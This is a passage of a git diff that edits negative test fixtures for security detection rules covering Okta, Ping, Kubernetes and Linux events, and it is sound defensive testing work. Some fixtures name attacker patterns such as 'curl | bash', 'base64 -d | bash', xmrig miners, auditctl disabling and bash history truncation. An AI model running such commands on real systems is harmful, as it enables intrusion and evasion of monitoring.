b/detections/fixtures/negative/ident-okta-network-zone-modified-trusted.json@@ -1,5 +1,5 @@{- "event_type": "not-zone.update",+ "event_type": "http_request","trusted": true,"zone_type": "IP"}diff --git a/detections/fixtures/negative/ident-okta-policy-deactivated.json b/detections/fixtures/negative/ident-okta-policy-deactivated.jsonindex 8ec7911d2..817f47cf6 100644--- a/detections/fixtures/negative/ident-okta-policy-deactivated.json+++ b/detections/fixtures/negative/ident-okta-policy-deactivated.json@@ -1,3 +1,3 @@{- "event_type": "not-policy.lifecycle.deactivate"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-okta-radius-app-added.json b/detections/fixtures/negative/ident-okta-radius-app-added.jsonindex e7ef14a0f..749fd4ee1 100644--- a/detections/fixtures/negative/ident-okta-radius-app-added.json+++ b/detections/fixtures/negative/ident-okta-radius-app-added.json@@ -1,4 +1,4 @@{"app_type": "radius",- "event_type": "not-application.lifecycle.create"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-okta-superadmin-added.json b/detections/fixtures/negative/ident-okta-superadmin-added.jsonindex 1584b2f65..92da12092 100644--- a/detections/fixtures/negative/ident-okta-superadmin-added.json+++ b/detections/fixtures/negative/ident-okta-superadmin-added.json@@ -1,4 +1,4 @@{- "event_type": "not-user.account.privilege.grant",+ "event_type": "http_request","role": "SUPER_ADMIN"}diff --git a/detections/fixtures/negative/ident-okta-suspicious-login-bot.json b/detections/fixtures/negative/ident-okta-suspicious-login-bot.jsonindex 581f547b1..eb92f980f 100644--- a/detections/fixtures/negative/ident-okta-suspicious-login-bot.json+++ b/detections/fixtures/negative/ident-okta-suspicious-login-bot.json@@ -1,4 +1,4 @@{"behaviors": "prefix-new_device-suffix",- "event_type": "not-user.session.start"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-onboard-priv-roles-immediate.json b/detections/fixtures/negative/ident-onboard-priv-roles-immediate.jsonindex 9cdc04713..44b533b11 100644--- a/detections/fixtures/negative/ident-onboard-priv-roles-immediate.json+++ b/detections/fixtures/negative/ident-onboard-priv-roles-immediate.json@@ -1,5 +1,5 @@{- "event_type": "not-role_grant",+ "event_type": "http_request","role_priv": true,"user_age_minutes": 1340.0}diff --git a/detections/fixtures/negative/ident-orphan-svc-acct-many-keys.json b/detections/fixtures/negative/ident-orphan-svc-acct-many-keys.jsonindex 521af48b1..e46b25b99 100644--- a/detections/fixtures/negative/ident-orphan-svc-acct-many-keys.json+++ b/detections/fixtures/negative/ident-orphan-svc-acct-many-keys.json@@ -1,4 +1,4 @@{"active_keys_per_account": 105.0,- "event_type": "not-key_inventory"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-password-policy-history-reduced.json b/detections/fixtures/negative/ident-password-policy-history-reduced.jsonindex fb8c9db41..fa25e920e 100644--- a/detections/fixtures/negative/ident-password-policy-history-reduced.json+++ b/detections/fixtures/negative/ident-password-policy-history-reduced.json@@ -1,4 +1,4 @@{- "event_type": "not-policy_update",+ "event_type": "http_request","history_length_decreased": true}diff --git a/detections/fixtures/negative/ident-password-spray-distributed.json b/detections/fixtures/negative/ident-password-spray-distributed.jsonindex a7956d3fb..9ff455923 100644--- a/detections/fixtures/negative/ident-password-spray-distributed.json+++ b/detections/fixtures/negative/ident-password-spray-distributed.json@@ -1,4 +1,4 @@{"distinct_ips_per_user_per_hour": 130.0,- "event_type": "not-auth_failure"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-password-spray-many-targets.json b/detections/fixtures/negative/ident-password-spray-many-targets.jsonindex 1e0d3351f..b9309718b 100644--- a/detections/fixtures/negative/ident-password-spray-many-targets.json+++ b/detections/fixtures/negative/ident-password-spray-many-targets.json@@ -1,5 +1,5 @@{"distinct_users_per_minute": 130.0,- "event_type": "not-auth_failure",+ "event_type": "http_request","tries_per_user": -95.0}diff --git a/detections/fixtures/negative/ident-pim-activation-anomalous-time.json b/detections/fixtures/negative/ident-pim-activation-anomalous-time.jsonindex 3aef3c2c9..a50d84969 100644--- a/detections/fixtures/negative/ident-pim-activation-anomalous-time.json+++ b/detections/fixtures/negative/ident-pim-activation-anomalous-time.json@@ -1,4 +1,4 @@{- "event_type": "not-pim_activation",+ "event_type": "http_request","hour_unusual_for_user": true}diff --git a/detections/fixtures/negative/ident-ping-admin-role-burst.json b/detections/fixtures/negative/ident-ping-admin-role-burst.jsonindex 929585908..34522c308 100644--- a/detections/fixtures/negative/ident-ping-admin-role-burst.json+++ b/detections/fixtures/negative/ident-ping-admin-role-burst.json@@ -1,4 +1,4 @@{- "event_type": "not-ADMIN_ROLE_GRANT",+ "event_type": "http_request","events_per_minute": 105.0}diff --git a/detections/fixtures/negative/ident-ping-pingid-device-removed.json b/detections/fixtures/negative/ident-ping-pingid-device-removed.jsonindex 006f09663..6bbab7be9 100644--- a/detections/fixtures/negative/ident-ping-pingid-device-removed.json+++ b/detections/fixtures/negative/ident-ping-pingid-device-removed.json@@ -1,4 +1,4 @@{- "event_type": "not-DEVICE_DELETED",+ "event_type": "http_request","target_user_priv": true}diff --git a/detections/fixtures/negative/ident-ping-policy-bypass-everyone.json b/detections/fixtures/negative/ident-ping-policy-bypass-everyone.jsonindex 895db50a0..7de3fb8f0 100644--- a/detections/fixtures/negative/ident-ping-policy-bypass-everyone.json+++ b/detections/fixtures/negative/ident-ping-policy-bypass-everyone.json@@ -1,5 +1,5 @@{"applies_to_everyone": true,- "event_type": "not-POLICY_UPDATE",+ "event_type": "http_request","factor_required": false}diff --git a/detections/fixtures/negative/ident-ping-policy-mfa-removed.json b/detections/fixtures/negative/ident-ping-policy-mfa-removed.jsonindex 054100a24..817f47cf6 100644--- a/detections/fixtures/negative/ident-ping-policy-mfa-removed.json+++ b/detections/fixtures/negative/ident-ping-policy-mfa-removed.json@@ -1,3 +1,3 @@{- "event_type": "not-MFA_POLICY_DELETED"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-ping-trust-store-modified.json b/detections/fixtures/negative/ident-ping-trust-store-modified.jsonindex 2b3b52174..817f47cf6 100644--- a/detections/fixtures/negative/ident-ping-trust-store-modified.json+++ b/detections/fixtures/negative/ident-ping-trust-store-modified.json@@ -1,3 +1,3 @@{- "event_type": "not-TRUSTED_CERT_ADDED"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-priv-role-burst-granted.json b/detections/fixtures/negative/ident-priv-role-burst-granted.jsonindex 175054a73..230746d0a 100644--- a/detections/fixtures/negative/ident-priv-role-burst-granted.json+++ b/detections/fixtures/negative/ident-priv-role-burst-granted.json@@ -1,5 +1,5 @@{- "event_type": "not-role_grant",+ "event_type": "http_request","events_per_minute": 110.0,"role_priv": true}diff --git a/detections/fixtures/negative/ident-priv-role-grant-out-of-hours.json b/detections/fixtures/negative/ident-priv-role-grant-out-of-hours.jsonindex 44a63bc55..2361eac7b 100644--- a/detections/fixtures/negative/ident-priv-role-grant-out-of-hours.json+++ b/detections/fixtures/negative/ident-priv-role-grant-out-of-hours.json@@ -1,5 +1,5 @@{- "event_type": "not-role_grant",+ "event_type": "http_request","is_business_hours": false,"role_priv": true}diff --git a/detections/fixtures/negative/ident-priv-role-grant-to-svc-account.json b/detections/fixtures/negative/ident-priv-role-grant-to-svc-account.jsonindex 8e290ea00..34e69b4b4 100644--- a/detections/fixtures/negative/ident-priv-role-grant-to-svc-account.json+++ b/detections/fixtures/negative/ident-priv-role-grant-to-svc-account.json@@ -1,5 +1,5 @@{- "event_type": "not-role_grant",+ "event_type": "http_request","role_priv": true,"target_user_type": "service_account"}diff --git a/detections/fixtures/negative/ident-priv-role-removed-bulk.json b/detections/fixtures/negative/ident-priv-role-removed-bulk.jsonindex 8a8a77d3b..230746d0a 100644--- a/detections/fixtures/negative/ident-priv-role-removed-bulk.json+++ b/detections/fixtures/negative/ident-priv-role-removed-bulk.json@@ -1,5 +1,5 @@{- "event_type": "not-role_revoke",+ "event_type": "http_request","events_per_minute": 110.0,"role_priv": true}diff --git a/detections/fixtures/negative/ident-rapid-language-change.json b/detections/fixtures/negative/ident-rapid-language-change.jsonindex f72ac0ecb..c211bf7c4 100644--- a/detections/fixtures/negative/ident-rapid-language-change.json+++ b/detections/fixtures/negative/ident-rapid-language-change.json@@ -1,4 +1,4 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","locale_changes_in_session": 102.0}diff --git a/detections/fixtures/negative/ident-saml-assertion-replay.json b/detections/fixtures/negative/ident-saml-assertion-replay.jsonindex ccc75d3f0..0d08bae24 100644--- a/detections/fixtures/negative/ident-saml-assertion-replay.json+++ b/detections/fixtures/negative/ident-saml-assertion-replay.json@@ -1,4 +1,4 @@{"assertion_id_seen_recently": true,- "event_type": "not-saml_consume"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-saml-issuer-mismatch.json b/detections/fixtures/negative/ident-saml-issuer-mismatch.jsonindex 1466f8f3c..05bd2562b 100644--- a/detections/fixtures/negative/ident-saml-issuer-mismatch.json+++ b/detections/fixtures/negative/ident-saml-issuer-mismatch.json@@ -1,4 +1,4 @@{- "event_type": "not-saml_consume",+ "event_type": "http_request","issuer_in_trusted_list": false}diff --git a/detections/fixtures/negative/ident-session-timeout-extended-priv.json b/detections/fixtures/negative/ident-session-timeout-extended-priv.jsonindex 61dea3f78..d70a11e51 100644--- a/detections/fixtures/negative/ident-session-timeout-extended-priv.json+++ b/detections/fixtures/negative/ident-session-timeout-extended-priv.json@@ -1,5 +1,5 @@{- "event_type": "not-policy_update",+ "event_type": "http_request","scope_priv": true,"session_timeout_minutes_increased": true}diff --git a/detections/fixtures/negative/ident-slack-app-installed-bot-token.json b/detections/fixtures/negative/ident-slack-app-installed-bot-token.jsonindex 536d8c747..c9ab7d42d 100644--- a/detections/fixtures/negative/ident-slack-app-installed-bot-token.json+++ b/detections/fixtures/negative/ident-slack-app-installed-bot-token.json@@ -1,4 +1,4 @@{- "action": "not-app_installed",+ "action": "disabled","scopes": "prefix-chat:write.public-suffix"}diff --git a/detections/fixtures/negative/ident-static-password-policy-loosened.json b/detections/fixtures/negative/ident-static-password-policy-loosened.jsonindex b947d013d..dd2b120de 100644--- a/detections/fixtures/negative/ident-static-password-policy-loosened.json+++ b/detections/fixtures/negative/ident-static-password-policy-loosened.json@@ -1,4 +1,4 @@{- "event_type": "not-policy_update",+ "event_type": "http_request","min_length_decreased": true}diff --git a/detections/fixtures/negative/ident-suspicious-user-agent-login.json b/detections/fixtures/negative/ident-suspicious-user-agent-login.jsonindex 7d7bafb4c..2714e25c4 100644--- a/detections/fixtures/negative/ident-suspicious-user-agent-login.json+++ b/detections/fixtures/negative/ident-suspicious-user-agent-login.json@@ -1,4 +1,4 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","user_agent": "prefix-python-requests-suffix"}diff --git a/detections/fixtures/negative/ident-svc-account-interactive-login.json b/detections/fixtures/negative/ident-svc-account-interactive-login.jsonindex 31db91e0a..0d6bab7f9 100644--- a/detections/fixtures/negative/ident-svc-account-interactive-login.json+++ b/detections/fixtures/negative/ident-svc-account-interactive-login.json@@ -1,5 +1,5 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","is_interactive": true,"user_type": "service_account"}diff --git a/detections/fixtures/negative/ident-svc-account-key-from-non-pipeline.json b/detections/fixtures/negative/ident-svc-account-key-from-non-pipeline.jsonindex d6477775c..7986e6059 100644--- a/detections/fixtures/negative/ident-svc-account-key-from-non-pipeline.json+++ b/detections/fixtures/negative/ident-svc-account-key-from-non-pipeline.json@@ -1,5 +1,5 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","src_in_pipeline_cidr": false,"user_type": "service_account"}diff --git a/detections/fixtures/negative/ident-svc-account-mfa-skipped.json b/detections/fixtures/negative/ident-svc-account-mfa-skipped.jsonindex 9d521f165..2f3d84eb9 100644--- a/detections/fixtures/negative/ident-svc-account-mfa-skipped.json+++ b/detections/fixtures/negative/ident-svc-account-mfa-skipped.json@@ -1,5 +1,5 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","mfa_used": false,"policy_requires_mfa": true,"user_type": "service_account"diff --git a/detections/fixtures/negative/ident-token-theft-cookie-replay.json b/detections/fixtures/negative/ident-token-theft-cookie-replay.jsonindex 52aeee3cd..d044d0e20 100644--- a/detections/fixtures/negative/ident-token-theft-cookie-replay.json+++ b/detections/fixtures/negative/ident-token-theft-cookie-replay.json@@ -1,5 +1,5 @@{- "event_type": "not-session_continuation",+ "event_type": "http_request","geo_changed": true,"minutes_between": -40.0}diff --git a/detections/fixtures/negative/ident-tor-exit-login-success.json b/detections/fixtures/negative/ident-tor-exit-login-success.jsonindex 58c5637cb..17d60ec0b 100644--- a/detections/fixtures/negative/ident-tor-exit-login-success.json+++ b/detections/fixtures/negative/ident-tor-exit-login-success.json@@ -1,4 +1,4 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","src_ip_tor_exit": true}diff --git a/detections/fixtures/negative/ident-totp-secret-revealed.json b/detections/fixtures/negative/ident-totp-secret-revealed.jsonindex 3a5c7db90..8d63836af 100644--- a/detections/fixtures/negative/ident-totp-secret-revealed.json+++ b/detections/fixtures/negative/ident-totp-secret-revealed.json@@ -1,5 +1,5 @@{- "event_type": "not-factor_create",+ "event_type": "http_request","factor_type": "totp","old_factor_removed": false}diff --git a/detections/fixtures/negative/ident-totp-skewed-clock.json b/detections/fixtures/negative/ident-totp-skewed-clock.jsonindex d889e0ef0..97d915d2f 100644--- a/detections/fixtures/negative/ident-totp-skewed-clock.json+++ b/detections/fixtures/negative/ident-totp-skewed-clock.json@@ -1,5 +1,5 @@{- "event_type": "not-mfa_challenge",+ "event_type": "http_request","events_per_minute": 105.0,"totp_clock_skew_seconds": 160.0}diff --git a/detections/fixtures/negative/k8s-anonymous-auth-enabled.json b/detections/fixtures/negative/k8s-anonymous-auth-enabled.jsonindex 9f04d919d..5e1eaa0cc 100644--- a/detections/fixtures/negative/k8s-anonymous-auth-enabled.json+++ b/detections/fixtures/negative/k8s-anonymous-auth-enabled.json@@ -1,4 +1,4 @@{- "event_type": "not-apiserver_start",+ "event_type": "http_request","flag_anonymous_auth": true}diff --git a/detections/fixtures/negative/k8s-clusterrolebinding-system-masters.json b/detections/fixtures/negative/k8s-clusterrolebinding-system-masters.jsonindex 41718c555..f6dd1b8de 100644--- a/detections/fixtures/negative/k8s-clusterrolebinding-system-masters.json+++ b/detections/fixtures/negative/k8s-clusterrolebinding-system-masters.json@@ -1,4 +1,4 @@{- "event_type": "not-create_clusterrolebinding",+ "event_type": "http_request","subject_group": "system:masters"}diff --git a/detections/fixtures/negative/k8s-exec-into-kube-system.json b/detections/fixtures/negative/k8s-exec-into-kube-system.jsonindex b182123e4..4cc73bd53 100644--- a/detections/fixtures/negative/k8s-exec-into-kube-system.json+++ b/detections/fixtures/negative/k8s-exec-into-kube-system.json@@ -1,4 +1,4 @@{- "event_type": "not-pod_exec",+ "event_type": "http_request","namespace": "kube-system"}diff --git a/detections/fixtures/negative/k8s-impersonate-verb.json b/detections/fixtures/negative/k8s-impersonate-verb.jsonindex 2b1a51d3a..a9a052912 100644--- a/detections/fixtures/negative/k8s-impersonate-verb.json+++ b/detections/fixtures/negative/k8s-impersonate-verb.json@@ -1,4 +1,4 @@{- "event_type": "not-audit",+ "event_type": "http_request","verb": "impersonate"}diff --git a/detections/fixtures/negative/k8s-impersonation-by-user.json b/detections/fixtures/negative/k8s-impersonation-by-user.jsonindex ba93f2908..1e79f467f 100644--- a/detections/fixtures/negative/k8s-impersonation-by-user.json+++ b/detections/fixtures/negative/k8s-impersonation-by-user.json@@ -1,4 +1,4 @@{"impersonated_user": "system:masters",- "verb": "__benign__"+ "verb": "create"}diff --git a/detections/fixtures/negative/k8s-namespace-deletion-prod.json b/detections/fixtures/negative/k8s-namespace-deletion-prod.jsonindex 2291fcd58..aef5edaa5 100644--- a/detections/fixtures/negative/k8s-namespace-deletion-prod.json+++ b/detections/fixtures/negative/k8s-namespace-deletion-prod.json@@ -1,5 +1,5 @@{"object_name": "prod","object_resource": "namespaces",- "verb": "not-delete"+ "verb": "create"}diff --git a/detections/fixtures/negative/k8s-network-policy-deleted-prod.json b/detections/fixtures/negative/k8s-network-policy-deleted-prod.jsonindex b0c969702..b0b4369d1 100644--- a/detections/fixtures/negative/k8s-network-policy-deleted-prod.json+++ b/detections/fixtures/negative/k8s-network-policy-deleted-prod.json@@ -1,5 +1,5 @@{"object_namespace": "prod","object_resource": "networkpolicies",- "verb": "not-delete"+ "verb": "create"}diff --git a/detections/fixtures/negative/k8s-networkpolicy-deleted-restricted-ns.json b/detections/fixtures/negative/k8s-networkpolicy-deleted-restricted-ns.jsonindex 90c2ab134..08f4250cb 100644--- a/detections/fixtures/negative/k8s-networkpolicy-deleted-restricted-ns.json+++ b/detections/fixtures/negative/k8s-networkpolicy-deleted-restricted-ns.json@@ -1,4 +1,4 @@{- "event_type": "not-delete_networkpolicy",+ "event_type": "http_request","namespace": "prod"}diff --git a/detections/fixtures/negative/k8s-pod-allow-priv-esc.json b/detections/fixtures/negative/k8s-pod-allow-priv-esc.jsonindex 7c96b1161..3455c503f 100644--- a/detections/fixtures/negative/k8s-pod-allow-priv-esc.json+++ b/detections/fixtures/negative/k8s-pod-allow-priv-esc.json@@ -1,5 +1,5 @@{"allow_privilege_escalation": true,"environment": "prod",- "event_type": "not-create_pod"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/k8s-pod-attach-prod-namespace.json b/detections/fixtures/negative/k8s-pod-attach-prod-namespace.jsonindex fb6e039be..5128acdf0 100644--- a/detections/fixtures/negative/k8s-pod-attach-prod-namespace.json+++ b/detections/fixtures/negative/k8s-pod-attach-prod-namespace.json@@ -1,5 +1,5 @@{"object_namespace": "prod","object_resource": "pods/attach",- "verb": "not-create"+ "verb": "get"}diff --git a/detections/fixtures/negative/k8s-pod-exec-prod-namespace.json b/detections/fixtures/negative/k8s-pod-exec-prod-namespace.jsonindex 6bcbc007a..3eac11990 100644--- a/detections/fixtures/negative/k8s-pod-exec-prod-namespace.json+++ b/detections/fixtures/negative/k8s-pod-exec-prod-namespace.json@@ -1,5 +1,5 @@{"object_namespace": "prod","object_resource": "pods/exec",- "verb": "not-create"+ "verb": "get"}diff --git a/detections/fixtures/negative/k8s-pod-host-network-enabled.json b/detections/fixtures/negative/k8s-pod-host-network-enabled.jsonindex 737e89fb8..f41c4229e 100644--- a/detections/fixtures/negative/k8s-pod-host-network-enabled.json+++ b/detections/fixtures/negative/k8s-pod-host-network-enabled.json@@ -1,5 +1,5 @@{"host_network": true,"object_resource": "pods",- "verb": "not-create"+ "verb": "get"}diff --git a/detections/fixtures/negative/k8s-pod-host-pid-enabled.json b/detections/fixtures/negative/k8s-pod-host-pid-enabled.jsonindex dd203b788..e992034d4 100644--- a/detections/fixtures/negative/k8s-pod-host-pid-enabled.json+++ b/detections/fixtures/negative/k8s-pod-host-pid-enabled.json@@ -1,5 +1,5 @@{"host_pid": true,"object_resource": "pods",- "verb": "not-create"+ "verb": "get"}diff --git a/detections/fixtures/negative/k8s-pod-hostipc-true.json b/detections/fixtures/negative/k8s-pod-hostipc-true.jsonindex 93b0b9c65..29866de5c 100644--- a/detections/fixtures/negative/k8s-pod-hostipc-true.json+++ b/detections/fixtures/negative/k8s-pod-hostipc-true.json@@ -1,4 +1,4 @@{- "event_type": "not-create_pod",+ "event_type": "http_request","host_ipc": true}diff --git a/detections/fixtures/negative/k8s-pod-hostnetwork-true.json b/detections/fixtures/negative/k8s-pod-hostnetwork-true.jsonindex 9329c079b..05f37e259 100644--- a/detections/fixtures/negative/k8s-pod-hostnetwork-true.json+++ b/detections/fixtures/negative/k8s-pod-hostnetwork-true.json@@ -1,4 +1,4 @@{- "event_type": "not-create_pod",+ "event_type": "http_request","host_network": true}diff --git a/detections/fixtures/negative/k8s-pod-hostpid-true.json b/detections/fixtures/negative/k8s-pod-hostpid-true.jsonindex 1257eeccf..638dee710 100644--- a/detections/fixtures/negative/k8s-pod-hostpid-true.json+++ b/detections/fixtures/negative/k8s-pod-hostpid-true.json@@ -1,4 +1,4 @@{- "event_type": "not-create_pod",+ "event_type": "http_request","host_pid": true}diff --git a/detections/fixtures/negative/k8s-pod-privileged-container.json b/detections/fixtures/negative/k8s-pod-privileged-container.jsonindex 42f4159bb..ea6410159 100644--- a/detections/fixtures/negative/k8s-pod-privileged-container.json+++ b/detections/fixtures/negative/k8s-pod-privileged-container.json@@ -1,5 +1,5 @@{"object_resource": "pods","privileged": true,- "verb": "not-create"+ "verb": "get"}diff --git a/detections/fixtures/negative/k8s-pod-privileged.json b/detections/fixtures/negative/k8s-pod-privileged.jsonindex 39f9c9a17..0fd9a9e53 100644--- a/detections/fixtures/negative/k8s-pod-privileged.json+++ b/detections/fixtures/negative/k8s-pod-privileged.json@@ -1,4 +1,4 @@{"container_privileged": true,- "event_type": "not-create_pod"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/k8s-pod-runs-cryptominer-image.json b/detections/fixtures/negative/k8s-pod-runs-cryptominer-image.jsonindex 1c75f9d2e..bfad0990e 100644--- a/detections/fixtures/negative/k8s-pod-runs-cryptominer-image.json+++ b/detections/fixtures/negative/k8s-pod-runs-cryptominer-image.json@@ -1,4 +1,4 @@{- "event_type": "not-create_pod",+ "event_type": "http_request","image": "prefix-xmrig-suffix"}diff --git a/detections/fixtures/negative/k8s-pod-security-disabled-namespace.json b/detections/fixtures/negative/k8s-pod-security-disabled-namespace.jsonindex 5b13a782e..37ab9a53b 100644--- a/detections/fixtures/negative/k8s-pod-security-disabled-namespace.json+++ b/detections/fixtures/negative/k8s-pod-security-disabled-namespace.json@@ -1,5 +1,5 @@{- "event_type": "not-label_namespace",+ "event_type": "http_request","label_key": "pod-security.kubernetes.io/enforce","label_value": "privileged"}diff --git a/detections/fixtures/negative/k8s-rolebinding-cluster-admin.json b/detections/fixtures/negative/k8s-rolebinding-cluster-admin.jsonindex cee60f9f8..4dd1dd5a8 100644--- a/detections/fixtures/negative/k8s-rolebinding-cluster-admin.json+++ b/detections/fixtures/negative/k8s-rolebinding-cluster-admin.json@@ -1,4 +1,4 @@{- "event_type": "not-create_rolebinding",+ "event_type": "http_request","role_ref_name": "cluster-admin"}diff --git a/detections/fixtures/negative/k8s-secret-mass-get.json b/detections/fixtures/negative/k8s-secret-mass-get.jsonindex f4ff7b854..7c724ac37 100644--- a/detections/fixtures/negative/k8s-secret-mass-get.json+++ b/detections/fixtures/negative/k8s-secret-mass-get.json@@ -1,5 +1,5 @@{"distinct_secrets_per_minute": 130.0,"object_resource": "secrets",- "verb": "not-get"+ "verb": "create"}diff --git a/detections/fixtures/negative/k8s-secret-mass-read.json b/detections/fixtures/negative/k8s-secret-mass-read.jsonindex 3c1c94d8b..f6e5fd619 100644--- a/detections/fixtures/negative/k8s-secret-mass-read.json+++ b/detections/fixtures/negative/k8s-secret-mass-read.json@@ -1,5 +1,5 @@{- "event_type": "not-audit",+ "event_type": "http_request","events_5min": 130.0,"resource": "secrets","verb": "get"diff --git a/detections/fixtures/negative/k8s-service-account-token-mount-default.json b/detections/fixtures/negative/k8s-service-account-token-mount-default.jsonindex 9ae58dbde..4d96d0c57 100644--- a/detections/fixtures/negative/k8s-service-account-token-mount-default.json+++ b/detections/fixtures/negative/k8s-service-account-token-mount-default.json@@ -2,5 +2,5 @@"automount_token": true,"object_resource": "pods","service_account": "default",- "verb": "not-create"+ "verb": "get"}diff --git a/detections/fixtures/negative/k8s-validating-webhook-deleted.json b/detections/fixtures/negative/k8s-validating-webhook-deleted.jsonindex 3930c01c8..637e4326b 100644--- a/detections/fixtures/negative/k8s-validating-webhook-deleted.json+++ b/detections/fixtures/negative/k8s-validating-webhook-deleted.json@@ -1,4 +1,4 @@{"object_resource": "validatingwebhookconfigurations",- "verb": "not-delete"+ "verb": "create"}diff --git a/detections/fixtures/negative/linux-apparmor-disabled.json b/detections/fixtures/negative/linux-apparmor-disabled.jsonindex 0e2507cbc..121546f53 100644--- a/detections/fixtures/negative/linux-apparmor-disabled.json+++ b/detections/fixtures/negative/linux-apparmor-disabled.json@@ -1,5 +1,5 @@{"argv": "prefix--R-suffix","exe": "head-/aa-disable",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-at-job-create.json b/detections/fixtures/negative/linux-at-job-create.jsonindex 17ea46334..24a5efb8d 100644--- a/detections/fixtures/negative/linux-at-job-create.json+++ b/detections/fixtures/negative/linux-at-job-create.json@@ -1,4 +1,4 @@{"exe": "head-/at",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-auditctl-disable.json b/detections/fixtures/negative/linux-auditctl-disable.jsonindex d2931ed4e..8578d2857 100644--- a/detections/fixtures/negative/linux-auditctl-disable.json+++ b/detections/fixtures/negative/linux-auditctl-disable.json@@ -1,5 +1,5 @@{"argv": "prefix--D-suffix","exe": "head-/auditctl",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-authorized-keys-bulk-append.json b/detections/fixtures/negative/linux-authorized-keys-bulk-append.jsonindex 03852b891..bcc5023ba 100644--- a/detections/fixtures/negative/linux-authorized-keys-bulk-append.json+++ b/detections/fixtures/negative/linux-authorized-keys-bulk-append.json@@ -1,5 +1,5 @@{"append_count_5min": 103.0,"path": "head-/.ssh/authorized_keys",- "syscall": "not-openat"+ "syscall": "execve"}diff --git a/detections/fixtures/negative/linux-base64-decode-then-execve.json b/detections/fixtures/negative/linux-base64-decode-then-execve.jsonindex db1c6a948..c201ffd12 100644--- a/detections/fixtures/negative/linux-base64-decode-then-execve.json+++ b/detections/fixtures/negative/linux-base64-decode-then-execve.json@@ -1,4 +1,4 @@{"argv": "prefix-base64 -d | bash-suffix",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-cap-setuid-binary.json b/detections/fixtures/negative/linux-cap-setuid-binary.jsonindex 708aac3d6..a7a4771d7 100644--- a/detections/fixtures/negative/linux-cap-setuid-binary.json+++ b/detections/fixtures/negative/linux-cap-setuid-binary.json@@ -1,5 +1,5 @@{"argv": "prefix-cap_setuid-suffix","exe": "head-/setcap",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-cap-sys-admin-add.json b/detections/fixtures/negative/linux-cap-sys-admin-add.jsonindex d65b5ee99..7b3fb4676 100644--- a/detections/fixtures/negative/linux-cap-sys-admin-add.json+++ b/detections/fixtures/negative/linux-cap-sys-admin-add.json@@ -2,5 +2,5 @@"added_caps": ["CAP_SYS_ADMIN"],- "event_type": "not-container_create"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/linux-chmod-plus-x-tmp.json b/detections/fixtures/negative/linux-chmod-plus-x-tmp.jsonindex cf182608a..170d6fedf 100644--- a/detections/fixtures/negative/linux-chmod-plus-x-tmp.json+++ b/detections/fixtures/negative/linux-chmod-plus-x-tmp.json@@ -1,5 +1,5 @@{"argv": "+x /tmp/","exe": "head-/chmod",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-cryptominer-process.json b/detections/fixtures/negative/linux-cryptominer-process.jsonindex ca7363ad7..caaf48c4e 100644--- a/detections/fixtures/negative/linux-cryptominer-process.json+++ b/detections/fixtures/negative/linux-cryptominer-process.json@@ -1,4 +1,4 @@{"exe": "head-/xmrig",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-curl-piped-bash.json b/detections/fixtures/negative/linux-curl-piped-bash.jsonindex eaf061c72..2f0641890 100644--- a/detections/fixtures/negative/linux-curl-piped-bash.json+++ b/detections/fixtures/negative/linux-curl-piped-bash.json@@ -1,4 +1,4 @@{"argv": "prefix-curl | bash-suffix",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-docker-socket-mounted-into-container.json b/detections/fixtures/negative/linux-docker-socket-mounted-into-container.jsonindex f563bae19..4103f7714 100644--- a/detections/fixtures/negative/linux-docker-socket-mounted-into-container.json+++ b/detections/fixtures/negative/linux-docker-socket-mounted-into-container.json@@ -1,4 +1,4 @@{- "event_type": "not-container_create",+ "event_type": "http_request","host_path": "/var/run/docker.sock"}diff --git a/detections/fixtures/negative/linux-execve-from-dev-shm.json b/detections/fixtures/negative/linux-execve-from-dev-shm.jsonindex e875ad4c8..fb0625c7a 100644--- a/detections/fixtures/negative/linux-execve-from-dev-shm.json+++ b/detections/fixtures/negative/linux-execve-from-dev-shm.json@@ -1,4 +1,4 @@{"exe": "/dev/shm/-tail",- "syscall": "not-execve"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-fileless-via-procfd.json b/detections/fixtures/negative/linux-fileless-via-procfd.jsonindex 153828df3..85c5f8f5e 100644--- a/detections/fixtures/negative/linux-fileless-via-procfd.json+++ b/detections/fixtures/negative/linux-fileless-via-procfd.json@@ -1,4 +1,4 @@{"fd_path": "/proc/self/fd/-tail",- "syscall": "not-execveat"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-guid-binary-create.json b/detections/fixtures/negative/linux-guid-binary-create.jsonindex da1795713..0082527b0 100644--- a/detections/fixtures/negative/linux-guid-binary-create.json+++ b/detections/fixtures/negative/linux-guid-binary-create.json@@ -1,5 +1,5 @@{"mode_octal": "prefix-2-suffix","path_not": "/usr/bin-tail",- "syscall": "not-fchmod"+ "syscall": "openat"}diff --git a/detections/fixtures/negative/linux-history-cleared.json b/detections/fixtures/negative/linux-history-cleared.jsonindex 8eff93067..95b6c3e3c 100644--- a/detections/fixtures/negative/linux-history-cleared.json+++ b/detections/fixtures/negative/linux-history-cleared.json@@ -1,5 +1,5 @@{"flags": "prefix-O_TRUNC-suffix","path": "head-/.bash_history",- "syscall": "not-openat"+ 